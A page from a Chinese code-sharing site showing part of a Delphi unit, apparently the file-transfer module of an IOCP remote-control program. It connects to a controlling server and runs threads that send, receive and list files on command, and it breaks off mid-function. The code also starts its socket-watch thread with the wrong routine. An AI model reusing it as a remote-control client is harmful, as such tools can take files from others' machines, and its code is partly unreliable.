⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 filetransmitunit.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit FileTransmitUnit;

interface

uses
  Windows,
  Messages,
  WinSock2,
  WinSock, 
  PublicFunctionUnit,
  vfw,
  MxZLib; 

const
  //transmit用的参数
  TF_USE_KERNEL_APC            = $20;
  NotifySendFileData           = 27;
  NotifyTermiateTransmitThread = 28;
  RecvFile                     = 4000;
  SendFile                     = 4001;
  CreateDir                    = 4002;
  SendDirFileList              = 4003;
type
  //文件传输类
  TFileTransmit = Class
  private
    //本类内专用的结构体
    RemoteSystemInfo : TRemoteSystemInfo;
    //文件传输的socket
    FileTransmitSocket : TSocket;
    FileTransmitSocketWsaEvent : WSAEVENT;
    //文件发送时,通知接收线程进行操作的
    FileRecvNotifyEvent : THandle;
    FileSendNotifyEvent : THandle; 
    //文件收发线程
    RecvFileProcessTreadHandle : THandle;
    SendFileProcessTreadHandle : THandle;
    RecvFileProcessTreadID : DWORD;
    SendFileProcessTreadID : DWORD;
    //检测数据线程
    DectectFileSockeThreadtHandle : THandle;
    DectectFileSockeThreadID : DWORD; 
    //下载列表变更,线程退出等通知
    MsgFileThreadNotifyEvent : THandle;
    //文件数据缓冲区
    FileDataBuffer : array[0..DATA_BUFSIZE - 1] of Char;
    //需要发送的文件
    NeedSendFileName : string;
    //需要接收的文件
    NeedRecvFileName : string; 
    //文件的接收
    function RecvMyFile(const Socket : TSocket; const FileName : string; PakageDataRecvBuffer : Pointer;
      const PakageLengthToRecv : LongInt; const StartWritePositon : LongInt = 0;
      const RecvNotifyEvent : THandle = 0) : integer;
    //文件的发送
    function SendMyFile(const Socket : TSocket; const FileName : string;
      const StartWritePositon : LongInt = 0) : integer;
  public
    constructor Create(SockAddrIn : TSockAddrIn; out Issucess : Boolean; const ServerPerIODataP : DWORD);
    destructor Destroy; override;
    procedure SendFileProcess;
    procedure RecvFileProcess;
    procedure DectectFileSockeProcess;
  end;

implementation

//----------------------------TFileTransmit用到----------------------------

//文件发送线程
procedure GlobleSendFileProcess(FileTransmit : TFileTransmit); stdcall;
begin
  FileTransmit.SendFileProcess;
end;

//文件接收线程
procedure GlobleRecvFileProcess(FileTransmit : TFileTransmit); stdcall;
begin
  FileTransmit.RecvFileProcess;
end;

//检测socket线程
procedure GlobleDectectFileSockeProcess(FileTransmit : TFileTransmit); stdcall;
begin
  FileTransmit.DectectFileSockeProcess;
end; 

{--------------------------------TFileTransmit---------------------------------}

constructor TFileTransmit.Create(SockAddrIn: TSockAddrIn;
  out Issucess: Boolean; const ServerPerIODataP : DWORD);
begin
  Issucess := True;
  FileTransmitSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (FileTransmitSocket = INVALID_SOCKET) then
  begin
    CloseSocket(FileTransmitSocket);
    IsSucess := False;
    Exit;
  end;
  //connect to server
  if (Connect(FileTransmitSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR) then
  begin
    CloseSocket(FileTransmitSocket);
    IsSucess := False;
    Exit;
  end;
  //将公用的结构体复制过来
  MoveMemory(@RemoteSystemInfo, @PublicFunctionUnit.RemoteSystemInfo, sizeof(RemoteSystemInfo));
  RemoteSystemInfo.RemoteDataType := RemoteFileData;
  RemoteSystemInfo.PerIODataPointer := ServerPerIODataP;
  //发送信息
  SendAllTheData(FileTransmitSocket, @RemoteSystemInfo, SizeOf(RemoteSystemInfo));
  //绑定新的事件
  FileTransmitSocketWsaEvent := WSACreateEvent;
  WSAEventSelect(FileTransmitSocket, FileTransmitSocketWsaEvent, FD_READ or FD_WRITE or FD_CLOSE);
  //创建事件
  FileRecvNotifyEvent := CreateEvent(nil, False, False, 'FileRecvNotifyEvent');
  FileSendNotifyEvent := CreateEvent(nil, False, False, 'FileSendNotifyEvent');
  MsgFileThreadNotifyEvent := CreateEvent(nil, False, False, 'MsgFileThreadNotifyEvent');
  //创建线程
  if Issucess then
  begin 
    RecvFileProcessTreadHandle := CreateThread(nil, 0, @GlobleRecvFileProcess,
      Pointer(Self), 0, RecvFileProcessTreadID);
    SendFileProcessTreadHandle := CreateThread(nil, 0, @GlobleSendFileProcess,
      Pointer(Self), 0, SendFileProcessTreadID); 
    DectectFileSockeThreadtHandle := CreateThread(nil, 0, @GlobleRecvFileProcess,
      Pointer(Self), 0, DectectFileSockeThreadID);
    CloseHandle(DectectFileSockeThreadtHandle);
  end;
end;

//free掉类 
destructor TFileTransmit.Destroy; 
begin
  //关闭线程
  if RecvFileProcessTreadID <> 0 then
  begin
    TerminateThread(RecvFileProcessTreadHandle, 0);
    CloseHandle(RecvFileProcessTreadHandle);
  end;
  if SendFileProcessTreadID <> 0 then
  begin
    TerminateThread(SendFileProcessTreadHandle, 0);
    CloseHandle(SendFileProcessTreadHandle);
  end;
  //取消绑定
  WSAEventSelect(FileTransmitSocket, 0, 0);
  WSACloseEvent(FileTransmitSocketWsaEvent);
  //关闭socket
  ShutDown(FileTransmitSocket, SD_BOTH);
  CloseSocket(FileTransmitSocket); 
  //关闭事件
  CloseHandle(FileRecvNotifyEvent);
  CloseHandle(FileSendNotifyEvent);
  CloseHandle(MsgFileThreadNotifyEvent); 
  inherited;
end;

//检测文件socket的状态
procedure TFileTransmit.DectectFileSockeProcess;
var
  myWSANETWORKEVENTS : WSANETWORKEVENTS;
  WaitResult : DWord;
begin
  while True do
  begin
    WaitResult := WSAWaitForMultipleEvents(1, @FileTransmitSocketWsaEvent, False, 100, False);
    //如果超时,则继续下一个循环
    if WaitResult >= WSA_WAIT_TIMEOUT then
    begin
      Continue;
    end;
    //查询网络事件类型
    ZeroMemory(@myWSANETWORKEVENTS, SizeOf(myWSANETWORKEVENTS));
    WSAEnumNetworkEvents(FileTransmitSocket, FileTransmitSocketWsaEvent, @myWSANETWORKEVENTS);
    //数据接收
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_READ) > 0 then
    begin
      if myWSANETWORKEVENTS.iErrorCode[FD_READ_BIT] <> 0 then
      begin
        Continue;
      end;
      SetEvent(FileRecvNotifyEvent);
    end;
    //数据发送
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_WRITE) > 0 then
    begin
      if myWSANETWORKEVENTS.iErrorCode[FD_WRITE_BIT] <> 0 then
      begin
        Continue;
      end;
      SetEvent(FileSendNotifyEvent);
    end;
    //远程socket关闭通知
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_CLOSE) > 0 then
    begin
      ShutDown(FileTransmitSocket, SD_SEND);
      Break;
    end;
  end;
end; 

//接收文件
procedure TFileTransmit.RecvFileProcess;
var
  Msg : TMsg;
  myDataHeaderInfo : TDataHeaderInfo;
  myInterChangeHeader : TInterChangeHeader;
  ActuallySentSizePerPakage : LongInt;
  FileName : array[0.. DATA_BUFSIZE - 1] of Char;
  MakeDirPath, DirFileList : string;
begin
  //创建一个消息队列
  PeekMessage(Msg, 0, $400, $400, PM_NOREMOVE);
  Sleep(5);
  while true do
  begin
    //接收发来的线程消息
    if (PeekMessage(Msg, 0, TerminateNotifyMessage, TerminateNotifyMessage, PM_REMOVE)) then
    begin
      case Msg.wParam of
        NotifyTermiateTransmitThread:
        begin
          //通知发送者,线程结束
          SetEvent(MsgFileThreadNotifyEvent);
          Break;
        end;
      end;
    end;
    //先接收8个字节,来判断接下来的文件大小
    if RecvAllData(FileTransmitSocket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo),
      ActuallySentSizePerPakage, FileRecvNotifyEvent) = SOCKET_ERROR then
    begin
      sleep(20);
      Continue;
    end;
    //再接收命令数据描述头
    if RecvAllData(FileTransmitSocket, @myInterChangeHeader, SizeOf(myInterChangeHeader),

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -